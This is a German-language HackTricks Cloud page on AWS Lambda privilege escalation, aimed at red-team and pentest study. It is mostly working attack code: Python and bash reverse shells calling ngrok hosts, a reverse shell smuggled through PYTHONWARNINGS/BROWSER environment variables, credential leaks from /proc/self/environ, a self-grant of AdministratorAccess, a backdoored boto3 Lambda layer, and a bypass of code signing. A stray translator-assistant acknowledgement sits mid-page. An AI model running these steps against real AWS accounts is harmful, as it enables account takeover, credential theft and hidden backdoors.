AWS - Lambda Privesc
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
lambda
Mehr Informationen zu lambda in:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Nutzer mit den iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction-Berechtigungen können ihre Rechte eskalieren.
Sie können eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen, wodurch die Funktion die mit dieser Rolle verbundenen Berechtigungen erhält. Der Nutzer kann dann Code für diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell).
Sobald die Funktion eingerichtet ist, kann der Nutzer deren Ausführung auslösen und die beabsichtigten Aktionen durch Aufruf der Lambda-Funktion über die AWS API ausführen. Dieser Ansatz erlaubt es dem Nutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen und mit dem Zugriffsniveau zu operieren, das der zugewiesenen IAM-Rolle gewährt wird.\
Ein Angreifer könnte dies missbrauchen, um eine rev shell zu bekommen und das token zu stehlen:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Du könntest außerdem abuse the lambda role permissions direkt aus der lambda function heraus.
Wenn die lambda role über genügend permissions verfügt, könntest du sie verwenden, um dir admin rights zu gewähren:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Es ist außerdem möglich, die lambda's role credentials zu leaken, ohne eine externe Verbindung zu benötigen. Das wäre nützlich für Network isolated Lambdas, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, erlaubt dir dieses Code-Snippet, die credentials direkt als Ausgabe der lambda zu leaken.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Potential Impact: Direkter privesc zur angegebenen beliebigen Lambda-Service-Rolle.
caution
Beachte, dass selbst wenn es verlockend erscheinen mag, lambda:InvokeAsync für sich genommen nicht erlaubt, aws lambda invoke-async auszuführen; du brauchst außerdem lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Wie im vorherigen Szenario kannst du dir die Berechtigung lambda:InvokeFunction gewähren, wenn du die Berechtigung lambda:AddPermission hast.
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Potential Impact: Direkte privesc auf die angegebene Lambda-Service-Rolle.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Benutzer mit den Rechten iam:PassRole, lambda:CreateFunction und lambda:CreateEventSourceMapping (und möglicherweise dynamodb:PutItem und dynamodb:CreateTable) können auch ohne lambda:InvokeFunction indirekt escalate privileges.
Sie können eine Lambda function mit bösartigem Code erstellen und ihr eine bestehende IAM-Rolle zuweisen.
Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine neue oder vorhandene DynamoDB-Tabelle ein bzw. nutzt sie und verknüpft sie mit der Lambda über ein event source mapping. Diese Konfiguration stellt sicher, dass die Lambda function automatisch ausgelöst wird, wenn ein neuer Eintrag in der Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda function indirekt aufgerufen wird und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Wenn DynamoDB in der AWS-Umgebung bereits aktiv ist, muss der Benutzer nur das event source mapping für die Lambda-Funktion einrichten. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer eine neue Tabelle mit aktiviertem Streaming erstellen:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Jetzt ist es möglich, die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden, indem man ein event source mapping erstellt:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Wenn die Lambda-Funktion mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer die Lambda-Funktion indirekt auslösen, indem er den DynamoDB-Stream aktiviert. Dies kann erreicht werden, indem ein Item in die DynamoDB-Tabelle eingefügt wird:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potential Impact: Direkter privesc auf die angegebene lambda service role.
lambda:AddPermission
Ein Angreifer mit dieser Berechtigung kann sich (oder anderen) beliebige Berechtigungen gewähren (dies erzeugt resource based policies, um Zugriff auf die Ressource zu gewähren):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potentielle Auswirkung: Direkter privesc auf die für die lambda-Service-Rolle verwendete Rolle, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.
lambda:AddLayerVersionPermission
Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) die Berechtigung lambda:GetLayerVersion gewähren. Er könnte auf den Layer zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Mögliche Auswirkungen: Möglicher Zugriff auf sensible Informationen.
lambda:UpdateFunctionCode
Benutzer, die die lambda:UpdateFunctionCode Berechtigung besitzen, haben die Möglichkeit, den Code einer bestehenden Lambda function zu ändern, die mit einer IAM-Rolle verknüpft ist.\ Der Angreifer kann den Code der Lambda ändern, um die IAM credentials zu exfiltrieren.
Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine bereits vorhandene und aktive Lambda function durch bestehende Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Mögliche Auswirkungen: Direkter privesc auf die verwendete lambda service role.
lambda:UpdateFunctionConfiguration
RCE über env-Variablen
Mit dieser Berechtigung ist es möglich, env-Variablen hinzuzufügen, die die Lambda dazu bringen, beliebigen Code auszuführen. Zum Beispiel ist es in python möglich, die env-Variablen PYTHONWARNING und BROWSER auszunutzen, um einen python-Prozess beliebige Befehle ausführen zu lassen:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Für andere Skriptsprachen gibt es weitere env variables, die du verwenden kannst. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers ermöglicht es, code in deine lamdba function einzubinden, ihn aber separat zu speichern, sodass der Funktionscode klein bleiben kann und mehrere Funktionen code gemeinsam nutzen können.
Innerhalb von lambda kannst du die Pfade prüfen, aus denen python code geladen wird, mit einer Funktion wie der folgenden:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Diese Pfade:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Zum Beispiel wird die Bibliothek boto3 aus /var/runtime/boto3 geladen (4. Position).
Ausnutzung
Es ist möglich, die Berechtigung lambda:UpdateFunctionConfiguration zu missbrauchen, um eine neue Layer zu einer lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Layer eine Bibliothek enthalten, die die lambda importieren wird. Wenn du den Code der lambda lesen kannst, findest du das leicht; beachte auch, dass die lambda bereits eine Layer verwenden könnte und du die Layer herunterladen und dort deinen Code hinzufügen könntest.
Zum Beispiel: Angenommen, die lambda verwendet die Bibliothek boto3 — das würde eine lokale Layer mit der neuesten Version der Bibliothek erstellen:
pip3 install -t ./lambda_layer boto3
Du kannst ./lambda_layer/boto3/__init__.py öffnen und add the backdoor in the global code (a function to exfiltrate credentials or get a reverse shell for example).
Dann zippe das Verzeichnis ./lambda_layer und upload the new lambda layer in deinem eigenen Account (oder im Account des Opfers, aber du hast dafür möglicherweise keine Berechtigungen).
Beachte, dass du einen python-Ordner erstellen und die Libraries dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss der Layer compatible with the python version sein, die von der Lambda verwendet wird, und wenn du ihn in deinem Account hochlädst, muss er in der same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Mache nun die hochgeladene lambda layer für jedes Konto zugänglich:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Und hänge das lambda layer an die victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Der nächste Schritt wäre entweder, die Funktion selbst zu invoke the function (wenn wir können) oder zu warten, bis it gets invoked auf normale Weise — was die sicherere Methode ist.
Eine more stealth way to exploit this vulnerability ist zu finden in:
AWS - Lambda Layers Persistence
Potential Impact: Direkter privesc auf die verwendete lambda service role.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie über die URL ausführen... aber ich konnte einen Weg finden, es zu testen, also lass es mich wissen, wenn du es tust!
Lambda MitM
Einige lambdas werden receiving sensitive info from the users in parameters. Wenn du RCE in einem von ihnen bekommst, kannst du die Informationen exfiltrate, die andere Benutzer an sie senden — siehe dazu:
Referenzen
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf Warn herunterstuft, unsigned code in die Funktion deployen. Das umgeht integrity protections, ohne die function's IAM role oder triggers zu modifizieren.
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Notes:
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to
WARN(unsigned artifacts allowed).
Steps (REGION=us-east-1, TARGET_FN=
Prepare a small payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Pfad A) CSC entfernen, dann Code aktualisieren:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Pfad B) Herabstufen auf Warn und Code aktualisieren (falls delete nicht erlaubt ist):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Bestätigt. Ich werde die relevanten englischen Texte aus der Datei ins Deutsche übersetzen und dabei Code, Technik‑/Tool‑/Cloud‑Namen, Begriffe wie "leak" und "pentesting", Links, Pfade sowie alle Markdown/HTML-Tags unverändert lassen. Ich füge nichts Zusätzliches hinzu.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Potentieller Impact: Möglichkeit, beliebigen nicht signierten Code in eine Funktion zu pushen und auszuführen, die eigentlich signierte Deployments durchsetzen sollte, was möglicherweise zur Codeausführung mit den Berechtigungen der Funktionsrolle führt.
Bereinigung:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud